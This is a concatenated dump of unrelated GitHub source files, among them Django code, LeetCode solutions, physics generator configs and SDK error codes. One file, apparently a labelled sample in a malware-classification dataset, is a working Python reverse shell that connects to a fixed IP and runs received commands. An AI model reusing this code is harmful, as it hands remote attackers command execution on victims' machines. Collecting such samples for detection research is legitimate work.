1c640d2fa43898ace5b37376c3acb4cbf03661f2 | e16d7d8f60145c68640b25aa7c259618be60d855 | /django_by_example/code/Chapter 6/bookmarks/images/migrations/0002_image_total_likes.py | 323c49fd95ca00d51cdaf4961e35bfd308dabf1d | [] | no_license | zongqiqi/mypython | bbe212223002dabef773ee0dbeafbad5986b4639 | b80f3ce6c30a0677869a7b49421a757c16035178 | refs/heads/master | 2020-04-21T07:39:59.594233 | 2017-12-11T00:54:44 | 2017-12-11T00:54:44 | 98,426,286 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 461 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-05-08 06:24
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('images', '0001_initial'),
]
operations = [
migrations.AddField(
m... | [
"544136329@qq.com"
] | 544136329@qq.com |
48dcd7160b1610706b8ecc0b420bf892c26bb623 | f6f632bee57875e76e1a2aa713fdbe9f25e18d66 | /python/_1001_1500/1172_dinner-plate-stacks.py | c97488c27269fb1eb844a70f14dafd25248ae8de | [] | no_license | Wang-Yann/LeetCodeMe | b50ee60beeeb3661869bb948bef4fbe21fc6d904 | 44765a7d89423b7ec2c159f70b1a6f6e446523c2 | refs/heads/master | 2023-08-07T05:31:23.428240 | 2021-09-30T15:33:53 | 2021-09-30T15:33:53 | 253,497,185 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,429 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Rock Wayne
# @Created : 2020-07-02 08:00:00
# @Last Modified : 2020-07-02 08:00:00
# @Mail : lostlorder@gmail.com
# @Version : alpha-1.0
"""
# 我们把无限数量 ∞ 的栈排成一行,按从左到右的次序从 0 开始编号。每个栈的的最大容量 capacity 都相同。
#
# 实现一个叫「餐盘」的类 DinnerPlates... | [
"rock@get.com.mm"
] | rock@get.com.mm |
49ddcfdac88e151ccd52723b98147eb5ab096274 | bfcd8f1f6ac8590df321f23a422eca0370a25b8f | /myenv/bin/pyi-set_version | a3276f253e4ab124adb59f23c54ff3757e3c6917 | [] | no_license | Stephen-Tipa-Augustine/KMC_ventilator | 0567fa0b72d41fb0de11cd72c62567bed973d9f5 | 456e88ae4fff3984d5456517ba8787f9d5762745 | refs/heads/master | 2022-12-26T08:00:41.102890 | 2020-09-07T11:00:13 | 2020-09-07T11:00:13 | 293,500,282 | 0 | 1 | null | 2022-12-19T04:33:28 | 2020-09-07T10:49:08 | Python | UTF-8 | Python | false | false | 283 | #!/home/sephanayer/PycharmProjects/KMC_ventilator/myenv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from PyInstaller.utils.cliutils.set_version import run
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(run())
| [
"tipastep5@gmail.com"
] | tipastep5@gmail.com | |
2001d879a3c4fa86e51f452141f58291f247e5d8 | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad342.py | 93d369222308b3fb6895c3732d78dc2b323386c3 | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 368 | py | import tarfile
import hashlib
import bz2
import crypt
import hmac
import subprocess
import socket
import zipfile
import zlib
import gzip
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.... | [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
a2e7dee9a0ef320ef1a4ca7ee015c89591a5713a | 7707233ec4a550f765fd28e7731f72542478cc1e | /startClient.py | cfee671263f209eef1c6a228f66fa7ad21bc2361 | [] | no_license | Angelina-Wang/518project | 6c971c7dfa34ee44961e127aba72ea9c85d8a762 | fb1056ff66eb18393b4532d6eae935ca6240f517 | refs/heads/master | 2020-09-23T10:29:33.930957 | 2020-01-13T01:01:22 | 2020-01-13T01:01:22 | 225,477,176 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 152 | py | from custom_classes import *
import sys
client = AClient()
client.connectServer(sys.argv[1])
client.restart(float(sys.argv[2]))
client.startListener()
| [
"None"
] | None |
39f8937093dcbe80de31af680dadd9de39c094e5 | 91a9f5a7afb398f4238527708cbc155dc972cbfa | /teg2/bdd_car_versions/bdd_car_6Aug2017/bair_car/nodes/runtime_parameters.py | fcabb93f3a883c1f48ad5b69ad2cf492c0088468 | [] | no_license | bddmodelcar/kzpy3.2 | cd6f9bf6b7b8b920c79b4ee36c2592b992ae4332 | b044b26649b19b240bd580feca20424a237374b1 | refs/heads/master | 2021-01-19T21:01:58.687712 | 2017-08-23T22:39:56 | 2017-08-23T22:39:56 | 101,243,308 | 0 | 1 | null | 2017-08-24T02:04:50 | 2017-08-24T02:04:50 | null | UTF-8 | Python | false | false | 3,778 | py | # This is used to specifiy caffe mode and data file name information
from kzpy3.utils2 import time_str
from kzpy3.utils2 import opjh
from kzpy3.utils2 import print_stars0
from kzpy3.utils2 import print_stars1
import os
import numpy as np
print_stars0();print(__file__);print_stars1()
computer_name = "MR_Unknown"
try:... | [
"karlzipser@berkeley.edu"
] | karlzipser@berkeley.edu |
fba1184cfd449adefa4e36759c3b17c04ea45157 | d8859f10ea5d4eba76230036535cdb22fb6398ba | /setup.py | 782c08fac224c86b107d7f2f3546e52e8546af76 | [
"MIT"
] | permissive | ebranlard/wiz | 322a83b0f97ad53c990cfaf26c182d02008f856a | 6dfca8b2711b670229f5b2b3b3e0d7fe0bdea156 | refs/heads/master | 2021-06-09T17:26:48.478453 | 2021-06-04T16:29:53 | 2021-06-04T16:37:04 | 181,733,068 | 5 | 1 | null | null | null | null | UTF-8 | Python | false | false | 323 | py | from setuptools import setup, find_packages
setup(
name='wiz',
version='1.0',
description='Python library from E. Branlard',
url='http://github.com/ebranlard/wiz/',
author='Emmanuel Branlard',
author_email='lastname@gmail.com',
license='MIT',
packages=find_packages(),
zip_safe=False... | [
"elmanuelito.github@gmail.com"
] | elmanuelito.github@gmail.com |
86a3adb8a35c843aa7d7252b10b0f4a38d03955b | 76e51e96f663dccf9cd0f3b508dcee18996cf41b | /tests/test_Loading.py | 78222aafe313c998725b2466b5f4c631c20a5184 | [
"MIT"
] | permissive | renaiku/MHWorldData | b8d923765ee00bed08cf4d4c80b6ee88b18da1a9 | 34cf3e2d7e494e84cb48a8f14813480726019139 | refs/heads/master | 2020-03-27T22:33:12.411297 | 2018-09-03T18:41:07 | 2018-09-03T18:41:07 | 147,240,998 | 0 | 0 | MIT | 2018-09-03T18:38:14 | 2018-09-03T18:38:13 | null | UTF-8 | Python | false | false | 2,247 | py | import pytest
import os
import shutil
import json
from mhdata.io import DataReader
def save_json(obj, path):
with open(path, 'w') as f:
json.dump(obj, f)
@pytest.fixture()
def loader_mock(tmpdir):
"Returns loader pointed to a temporary directory created for the test"
return DataReader(
d... | [
"cfern1990@gmail.com"
] | cfern1990@gmail.com |
12c43770a03fa2dd6d1279173deb78335d2ff25a | a6a52013708c5242ea737950a7614e5585c0b1ae | /oot/upgrade/upgrade.py | 47b18fbdbc1987f0f4df408fc3bb368c4bf7d6be | [] | no_license | tegin/oot | b381ce32686965cbb7979ee44856b1f9695d23d9 | 36d372939dc5bbe65eb7106746f747a87ea29a69 | refs/heads/prod | 2021-07-06T05:09:55.472203 | 2019-11-15T12:36:21 | 2019-11-15T12:36:21 | 216,402,597 | 5 | 5 | null | 2019-11-18T08:28:31 | 2019-10-20T17:47:45 | Python | UTF-8 | Python | false | false | 1,220 | py | import importlib.util
import logging
import os
import pip._internal.main as pip
from packaging import version as packaging_version
_logger = logging.getLogger(__name__)
def upgrade(current_version, version, path, migration_package):
if current_version >= version:
return False
if os.path.exists(os.pa... | [
"etobella@creublanca.es"
] | etobella@creublanca.es |
3e2d53619ad1a420b81849bc407d615f9aa85874 | 0fccee4c738449f5e0a8f52ea5acabf51db0e910 | /genfragments/EightTeV/TprimeTprime/TprimeTprimeToTZBWinc_M_625_TuneZ2star_8TeV-madgraph_cff.py | 0074af204c51e90e60f3bb535520fed0d2b05427 | [] | no_license | cms-sw/genproductions | f308ffaf3586c19b29853db40e6d662e937940ff | dd3d3a3826343d4f75ec36b4662b6e9ff1f270f4 | refs/heads/master | 2023-08-30T17:26:02.581596 | 2023-08-29T14:53:43 | 2023-08-29T14:53:43 | 11,424,867 | 69 | 987 | null | 2023-09-14T12:41:28 | 2013-07-15T14:18:33 | Python | UTF-8 | Python | false | false | 5,074 | py | import FWCore.ParameterSet.Config as cms
#from Configuration.Generator.PythiaUEZ2Settings_cfi import *
from Configuration.Generator.PythiaUEZ2starSettings_cfi import *
generator = cms.EDFilter("Pythia6HadronizerFilter",
pythiaHepMCVerbosity = cms.untracked.bool(False),
maxEventsToPrint = cms.untracked.int32(0)... | [
"sha1-5c9a4926c1ea08b633689ec734e2440da58b8c56@cern.ch"
] | sha1-5c9a4926c1ea08b633689ec734e2440da58b8c56@cern.ch |
19c036b8c37c66b0214ccbfc8b7a4c13c90935d2 | 87402fcec35a35a45dc305588323c72fa3d203b0 | /tasks/migrations/0022_auto_20200925_1348.py | 30bef7017d73304f6deadfa32abf64fe1e491aa8 | [] | no_license | Aviemusca/task-manager-backend | d80fd20a5aa88a31f5096d17c3ee1ebe86832c7e | b0a9052d94138f4e7d2c1be7f7425ee570f9eec4 | refs/heads/master | 2022-12-20T10:06:16.648889 | 2020-09-29T10:31:33 | 2020-09-29T10:31:33 | 278,863,723 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 449 | py | # Generated by Django 3.0.8 on 2020-09-25 13:48
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tasks', '0021_auto_20200907_1043'),
]
operations = [
migrations.AlterField(
model_name='task',
name=... | [
"yvan@metatech.ie"
] | yvan@metatech.ie |
9a92c56ebf23abfd32e027a9bee74caebb691d5d | f74dd098c3e665d8f605af5ebe7e2874ac31dd2f | /aiogithubapi/objects/repository/release.py | 61c880ab667788e696a65c262a1162a9b0c98748 | [
"MIT"
] | permissive | ludeeus/aiogithubapi | ce87382698827939aaa127b378b9a11998f13c06 | 90f3fc98e5096300269763c9a5857481b2dec4d2 | refs/heads/main | 2023-08-20T19:30:05.309844 | 2023-08-14T20:24:21 | 2023-08-14T20:24:21 | 198,505,021 | 21 | 20 | MIT | 2023-09-11T06:12:10 | 2019-07-23T20:39:53 | Python | UTF-8 | Python | false | false | 986 | py | """
AIOGitHubAPI: Repository Release
https://developer.github.com/v3/repos/releases/
"""
# pylint: disable=missing-docstring
from datetime import datetime
from ...objects.base import AIOGitHubAPIBase
from ...objects.repository.content import AIOGitHubAPIRepositoryContent
class AIOGitHubAPIRepositoryRelease(AIOGitHu... | [
"noreply@github.com"
] | ludeeus.noreply@github.com |
b961193349a8103c8c431616e1dd217e33b4484d | 0fef5d75b0896116eda121c4d7c8a4ad6686a0f7 | /kotti_image_gallery/views.py | aca92925141697899cbe39251257bae08515e3ba | [] | no_license | disko/kotti_image_gallery | 1144d06f31f3d07f759b73d88a066730bc0ed920 | 046d127effdf3774cf0c1b04f2ef599e6134becb | HEAD | 2016-09-06T05:11:24.588627 | 2012-06-20T09:10:36 | 2012-06-20T09:10:36 | 4,111,810 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,719 | py | # -*- coding: utf-8 -*-
import PIL
from kotti import DBSession
from kotti.util import _
from kotti.views.edit import ContentSchema, make_generic_add, make_generic_edit
from kotti.views.file import AddFileFormView, EditFileFormView
from kotti_image_gallery import image_scales
from kotti_image_gallery.resources import G... | [
"disko@binary-punks.com"
] | disko@binary-punks.com |
a4119ba39b831d8757ef26706cf178071762301f | 9f1a56cbf621b34f539b64e526f00f68423a235a | /zigida/apps/db/accounting/items/migrations/0001_initial.py | ff2e312708e73881e78622e43232fdf8253ba8b9 | [] | no_license | JacobSima/zando | 21d982b190a719982bd5648ac135fbfbe45dbf00 | e6fcac1ce97796d1dea5104f1b73bbf9b8822b98 | refs/heads/main | 2023-06-15T03:51:52.846591 | 2021-07-12T10:52:25 | 2021-07-12T10:52:25 | 385,208,981 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,226 | py | # Generated by Django 3.2.4 on 2021-07-06 15:56
import django.core.validators
from django.db import migrations, models
import uuid
import zigida.core.utils
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Item... | [
"simajacob2011@gmail.com"
] | simajacob2011@gmail.com |
7999c9e767ff7ebde5862e9be1c8e6c2ba746d76 | 0e1e643e864bcb96cf06f14f4cb559b034e114d0 | /Exps_7_v3/doc3d/Ablation3_Pyr_ch016_ep010_noFocus/step10_b1_train.py | 3aaadbfa5d58d8ec98b4c4672a778cf2dced46a2 | [] | no_license | KongBOy/kong_model2 | 33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307 | 1af20b168ffccf0d5293a393a40a9fa9519410b2 | refs/heads/master | 2022-10-14T03:09:22.543998 | 2022-10-06T11:33:42 | 2022-10-06T11:33:42 | 242,080,692 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,653 | py | #############################################################################################################################################################################################################
##################################################################################################################... | [
"s89334roy@yahoo.com.tw"
] | s89334roy@yahoo.com.tw |
6337e2499c6fa0da29ea130222d938fa6a36f58a | 528f910908885c3ded4ecc6380b9603c8dcacbd6 | /tbapi/top/api/rest/SimbaRptCustbaseGetRequest.py | c9d9394a3214923195d5a87283bd2c0146389272 | [] | no_license | Monica-ckd/data007 | 15fe9c4c898a51a58100138b6b064211199d2ed1 | 0e54ae57eb719b86ec14ce9f77b027882a3398a8 | refs/heads/master | 2023-03-16T05:26:14.257318 | 2016-05-25T06:57:05 | 2016-05-25T06:57:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 464 | py | '''
Created by auto_sdk on 2013-04-01 16:44:41
'''
from top.api.base import RestApi
class SimbaRptCustbaseGetRequest(RestApi):
def __init__(self,domain='gw.api.taobao.com',port=80):
RestApi.__init__(self,domain, port)
self.end_time = None
self.nick = None
self.page_no = None
self.page_size = None
... | [
"root@u16392468.onlinehome-server.com"
] | root@u16392468.onlinehome-server.com |
a66ad8b37efa20112165adcc07b03e6251140a84 | 7a5576a22774c8e36830781a845c0ac39243af99 | /tests/unit/test_image.py | e26427a2f2abfd00f2f1968405b9a41875cc1403 | [
"Apache-2.0"
] | permissive | Kupoman/blendergltf | 1ccece9793005c57683baf6cfd50cadb7ff303c0 | cd665283e5fce6447abba22dfd9f584c602a1782 | refs/heads/develop | 2022-07-04T06:04:04.535191 | 2019-06-16T01:32:40 | 2019-06-16T02:21:09 | 51,494,812 | 353 | 60 | Apache-2.0 | 2020-05-30T14:29:18 | 2016-02-11T04:53:55 | Python | UTF-8 | Python | false | false | 2,570 | py | def test_image_export_reference(exporters, state, bpy_image_default, gltf_image_default):
state['settings']['images_data_storage'] = 'REFERENCE'
gltf_image_default['uri'] = '../filepath.png'
output = exporters.ImageExporter.export(state, bpy_image_default)
assert output == gltf_image_default
def test_... | [
"kupomail@gmail.com"
] | kupomail@gmail.com |
79609da4ebb7b41e9546575df82cac770fc8e609 | 3c541cf9d6956f580eb6fec039e567d0813ee272 | /apps/recipes/views/recipes.py | 8ea96fb3baf2507cfcc458eceef1f76889e0aaa4 | [] | no_license | NicolasTerroni/MyFridgeAPI | 9c4a7b28f48d9c547b82bc45348a4a2bd58d8551 | 5cd1b3155c4542d0479948f39701b539497e28f7 | refs/heads/main | 2023-07-01T03:05:09.422293 | 2021-08-10T04:10:44 | 2021-08-10T04:10:44 | 382,104,468 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,893 | py | """Recipes views."""
# Django REST Framework
from rest_framework.viewsets import ModelViewSet
from rest_framework.decorators import action
from rest_framework.response import Response
# Serializers
from apps.recipes.serializers import RecipeModelSerializer, CreateRecipeSerializer
# Models
from apps.recipes.models im... | [
"nsterroni@gmail.com"
] | nsterroni@gmail.com |
be134015a3d29b2e9234fc1baf05fbb8b076fb41 | fcd2ece104f3c5ade822fd8b6ae35e3dd48e35b1 | /code/2-twitter_labor/1-training_data_preparation/preliminary/ngram_labeling/build_set_specificity_check.py | 54d4e9a89780968a89e234a79ce889fe5ec87f76 | [] | no_license | spfraib/twitter | 975742c9090b628ade0ec7230d0a9f09ab6e5d4a | da2104d30d094d5f943a057f5c1df902c2254d4d | refs/heads/master | 2023-06-22T08:37:22.523478 | 2022-12-30T17:49:33 | 2022-12-30T17:49:33 | 236,588,781 | 6 | 4 | null | 2023-06-12T21:28:41 | 2020-01-27T20:34:53 | Jupyter Notebook | UTF-8 | Python | false | false | 1,488 | py | from pyspark.sql import SparkSession
import pyspark.sql.functions as F
from pyspark.ml.feature import Bucketizer, QuantileDiscretizer
from pyspark.sql import Window
from pyspark.sql.types import *
from pyspark.sql.functions import lower, col, lit
import subprocess
import argparse
import os
import unicodedata
import sys... | [
"manuel.tonneau@mailbox.org"
] | manuel.tonneau@mailbox.org |
ddbef986dae907d2050b594e370f2184388f1920 | e7c70a02e61f6d4a97c5933f3550bca22afa6acb | /ros_ws/build/learning_ros/Part_1/custom_msgs/cmake/custom_msgs-genmsg-context.py | cdf5cb754534d19022baa9bb108ca94f21ca075e | [] | no_license | amitf82/Final_Proj_Mobile_Robotics | 14cfe7b182df1294a873283c91688c8ca9526fee | 435a6c1562df030fc462fe1b0a84f968a27a2b85 | refs/heads/master | 2021-01-20T03:22:51.387095 | 2017-04-30T08:25:33 | 2017-04-30T08:25:33 | 89,532,221 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 639 | py | # generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/user/ros_ws/src/learning_ros/Part_1/custom_msgs/msg/VecOfDoubles.msg"
services_str = ""
pkg_name = "custom_msgs"
dependencies_str = "roscpp;std_msgs"
langs = "gencpp;genlisp;genpy"
dep_include_paths_str = "custom_msgs;/home/user/ros_ws/src/learn... | [
"adf38@case.edu"
] | adf38@case.edu |
f69ccb7f33652833c315b76a7a2d83e1524f1e29 | 4dfd539c530c5cff6874f2fa0c06ffd893212ad3 | /tencentcloud/yunjing/v20180228/errorcodes.py | c9d51af5bf9ec25e5d48a99b9a144f01510b9ba7 | [] | no_license | TencentCloud/tencentcloud-sdk-python-intl-en | aac605d1a0458b637ba29eb49f6f166fe844a269 | 042b4d7fb609d4d240728197901b46008b35d4b0 | refs/heads/master | 2023-09-01T19:39:27.436454 | 2023-09-01T04:02:15 | 2023-09-01T04:02:15 | 227,834,644 | 4 | 6 | null | 2023-07-17T08:56:56 | 2019-12-13T12:23:52 | Python | UTF-8 | Python | false | false | 3,195 | py | # -*- coding: utf8 -*-
# Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses... | [
"tencentcloudapi@tenent.com"
] | tencentcloudapi@tenent.com |
f3a6c973676ba8b267b8fa1e5199895b9be7deb1 | ba0cbdae81c171bd4be7b12c0594de72bd6d625a | /MyToontown/Panda3D-1.9.0/direct/pyinst/installutils.py | 66eca013464126d08d7eeba3bad65df0cecb3bb2 | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | sweep41/Toontown-2016 | 65985f198fa32a832e762fa9c59e59606d6a40a3 | 7732fb2c27001264e6dd652c057b3dc41f9c8a7d | refs/heads/master | 2021-01-23T16:04:45.264205 | 2017-06-04T02:47:34 | 2017-06-04T02:47:34 | 93,279,679 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,790 | py | # copyright 1999 McMillan Enterprises, Inc.
# demo code - use as you please.
import os
import stat
def copyFile(srcFiles, destFile, append=0):
'''
Copy one or more files to another file. If srcFiles is a list, then all
will be concatenated together to destFile. The append flag is also valid
... | [
"sweep14@gmail.com"
] | sweep14@gmail.com |
8c3aaaf2d9408dc92686db92188f28478d2d1435 | 33a32d7d7b482206852a7bbeb7fa507f55ca53dd | /models/category.py | 3f0f824e93bb71a744c8707273430117db463718 | [] | no_license | stanislawK/bookshelf | 94277b0103b522302782c3a5fed9e4c790d6f86f | fa68dda7f88c83080ad9a51a1ed16994b2bca054 | refs/heads/master | 2020-05-21T18:44:14.396967 | 2019-05-20T10:04:06 | 2019-05-20T10:04:06 | 186,138,290 | 0 | 0 | null | 2019-05-20T08:11:44 | 2019-05-11T13:47:42 | Python | UTF-8 | Python | false | false | 494 | py | from bookshelf.extensions import db
class CategoryModel(db.Model):
__tablename__ = 'categories'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), nullable=False)
@classmethod
def find_by_name(cls, _name):
return cls.query.filter_by(name=_name).first()
@cla... | [
"stanislaw.krupienko@gmail.com"
] | stanislaw.krupienko@gmail.com |
4f0372e774eb8b7d1ce6d898124f7ccc4c782e29 | d41d18d3ea6edd2ec478b500386375a8693f1392 | /plotly/validators/contourcarpet/colorbar/tickfont/_family.py | 15aef26e53e16075df0e8f184ac20f62ac43a276 | [
"MIT"
] | permissive | miladrux/plotly.py | 38921dd6618650d03be9891d6078e771ffccc99a | dbb79e43e2cc6c5762251537d24bad1dab930fff | refs/heads/master | 2020-03-27T01:46:57.497871 | 2018-08-20T22:37:38 | 2018-08-20T22:37:38 | 145,742,203 | 1 | 0 | MIT | 2018-08-22T17:37:07 | 2018-08-22T17:37:07 | null | UTF-8 | Python | false | false | 514 | py | import _plotly_utils.basevalidators
class FamilyValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(
self,
plotly_name='family',
parent_name='contourcarpet.colorbar.tickfont',
**kwargs
):
super(FamilyValidator, self).__init__(
plotly_name=... | [
"adam.kulidjian@gmail.com"
] | adam.kulidjian@gmail.com |
6988d0bf81d29b125be98f70f357cda2d3f89cd1 | 6ab810f6ca51dc2e2d0b7197fc1866b738ca70a2 | /Contest/WC213/5555.统计字典序元音字符串的数目.py | eb45f72780ddd673963c0da027b281fa4e3be4db | [
"MIT"
] | permissive | ApocalypseMac/LeetCode | 2309223be0c3e2969850cf1770eef2a447d39317 | 84c229eaf5a2e617ca00cabed04dd76d508d60b8 | refs/heads/master | 2023-04-14T19:22:34.340333 | 2021-03-28T05:20:40 | 2021-03-28T05:20:40 | 282,896,723 | 1 | 2 | MIT | 2020-07-29T05:05:19 | 2020-07-27T12:49:40 | Python | UTF-8 | Python | false | false | 310 | py | class Solution:
def countVowelStrings(self, n: int) -> int:
dp = [[0] * 5 for _ in range(n + 1)]
for i in range(n + 1):
dp[i][0] = 1
for i in range(1, n + 1):
for j in range(1, 5):
dp[i][j] = dp[i-1][j] + dp[i][j-1]
return sum(dp[-1]) | [
"ApocalypseMac@users.noreply.github.com"
] | ApocalypseMac@users.noreply.github.com |
5a2519e963859ae158490a2f5abc861b2d5ddaed | 9805edf2b923c74cf72a3cfb4c2c712255256f15 | /python/041_first_missing_positive.py | 00bc37e88ed085cdb52e6a5065ea4211b936dbd3 | [
"MIT"
] | permissive | jixinfeng/leetcode-soln | 5b28e49c2879cdff41c608fc03628498939b0e99 | 24cf8d5f1831e838ea99f50ce4d8f048bd46c136 | refs/heads/master | 2022-10-12T17:02:53.329565 | 2022-10-06T03:21:56 | 2022-10-06T03:21:56 | 69,371,757 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,004 | py | """
Given an unsorted integer array, find the first missing positive integer.
For example,
Given [1,2,0] return 3,
and [3,4,-1,1] return 2.
Your algorithm should run in O(n) time and uses constant space.
"""
class Solution(object):
def firstMissingPositive(self, nums):
"""
:type nums: List[int]
... | [
"ufjfeng@users.noreply.github.com"
] | ufjfeng@users.noreply.github.com |
61b010f0c53d635bc3d60ea40135546e539a1c46 | 60e4baae4d6b323b3d3b656df3a7b0ea3ca40ef2 | /project/apps/content/migrations/0011_auto_20180112_0303.py | 45634aba944d38cfd3ac6dae8c65c055ac45551b | [] | no_license | Burzhun/Big-django-project | a03a61a15ee75f49324ad7ea51372b6b013d1650 | 1a71f974b7b5399a45862711b5f858c0d4af50d2 | refs/heads/master | 2020-04-11T00:16:06.211039 | 2018-12-11T19:13:38 | 2018-12-11T19:13:38 | 161,381,283 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,266 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-01-12 03:03
from __future__ import unicode_literals
from django.utils import timezone
from django.db import migrations
from itertools import chain
import json
def migrate_published_dates(apps, schema_editor):
article_pages = apps.get_model('content', 'A... | [
"burjunov@yandex.ru"
] | burjunov@yandex.ru |
c09e01caaebea0f93a9e3aa35d47a7ed3b477620 | d96787f92bd86c8d8bcf01a4e7ec8f7feec24194 | /kattis/acm/solution.py | 26e0a74268c2f86a516dd1d097fcb4055afcc15e | [] | no_license | iandioch/solutions | 133cbc3af58fadcde0b2e981fb0e7d05801070a7 | 8b3e458b3c01179ddf776bfbb897f263f22f3693 | refs/heads/master | 2023-04-09T03:39:16.952817 | 2023-03-15T20:00:53 | 2023-03-15T20:00:53 | 47,693,495 | 48 | 40 | null | 2019-10-22T14:52:59 | 2015-12-09T13:36:55 | Python | UTF-8 | Python | false | false | 477 | py | solved = {} # map question to time solved
tries_before_solving = {}
while True:
p = input().split()
if len(p) == 1:
break
time = int(p[0])
q = p[1]
if q in solved:
continue
if q in tries_before_solving:
tries_before_solving[q] += 1
else:
tries_before_solving[q... | [
"iandioch11@gmail.com"
] | iandioch11@gmail.com |
5cdc3d8fc2d6064c8aed7bcf1fc396041a3ef2a1 | ff6248be9573caec94bea0fa2b1e4b6bf0aa682b | /StudentProblem/10.21.11.2/1/1569578564.py | a178fed62c1e5d05670590176c94822f3406337d | [] | no_license | LennartElbe/codeEvo | 0e41b1a7705204e934ef71a5a28c047366c10f71 | e89b329bc9edd37d5d9986f07ca8a63d50686882 | refs/heads/master | 2020-12-21T17:28:25.150352 | 2020-03-26T10:22:35 | 2020-03-26T10:22:35 | 236,498,032 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,645 | py | import functools
import typing
import string
import random
import pytest
## Lösung Teil 1.
def nwords(s: str) -> n:
""" Funktion berechnet zu einem String Argument s die Anzahl der Worte im String.
args: string
returns: n
"""
n = 0
for i in (len(str)): #looping "abc abc"
if s[i] is stri... | [
"lenni.elbe@gmail.com"
] | lenni.elbe@gmail.com |
3f038c912cdab138dfec0d40cf9f50af36ae68e9 | e98f3960d0465c91ec1e39272a49ce5ce4496708 | /src/ecldoc/parseDoc.py | b422e00207890399779faefac982fe2ebc84ceb4 | [] | no_license | successar/ecldoc | 7336c26291e68663e4bc739ab891f521724245cf | c7c7458c1bafb2bf9563a082fc05da5f64ef0a2e | refs/heads/master | 2021-01-14T08:22:04.824906 | 2017-08-12T12:02:19 | 2017-08-12T12:02:19 | 81,946,670 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,712 | py | import re
from lxml import etree
import lxml.html as H
from collections import defaultdict
def parseDocstring(docstring) :
'''
Parse Docstring as returned by eclcc,
break into individual tags and
return them as XML Elements
'''
docstring = re.sub(r'\n\s*\*', '\n', docstring)
docstring = re.... | [
"successar@gmail.com"
] | successar@gmail.com |
de2e4a9bf1208d0184327f19cfd432928ffbfdde | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /dcFp6EuCm8J2HNKFG_21.py | 75a6a5b07dd4596969ad89d81d4ceb4d5cc5bf5a | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 173 | py |
def func(lst):
global res
res = 0
fun(lst)
return res
def fun(lst):
global res
if isinstance(lst,list):
res += len(lst)
for l in lst:
fun(l)
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
0c9ef5dcdc3f510c6972175e849cf43b3caee43c | 651a296c8f45b5799781fd78a6b5329effe702a0 | /c8lib/c8vec_uniform_01.py | f77127fe01f76857c299aa377e44b3252af5e4c8 | [] | no_license | pdhhiep/Computation_using_Python | 095d14370fe1a01a192d7e44fcc81a52655f652b | 407ed29fddc267950e9860b8bbd1e038f0387c97 | refs/heads/master | 2021-05-29T12:35:12.630232 | 2015-06-27T01:05:17 | 2015-06-27T01:05:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,367 | py | #!/usr/bin/env python
def c8vec_uniform_01 ( n, seed ):
#*****************************************************************************80
#
## C8VEC_UNIFORM_01 returns a unit pseudorandom C8VEC.
#
# Discussion:
#
# The angles should be uniformly distributed between 0 and 2 * PI,
# the square roots of the radius... | [
"siplukabir@gmail.com"
] | siplukabir@gmail.com |
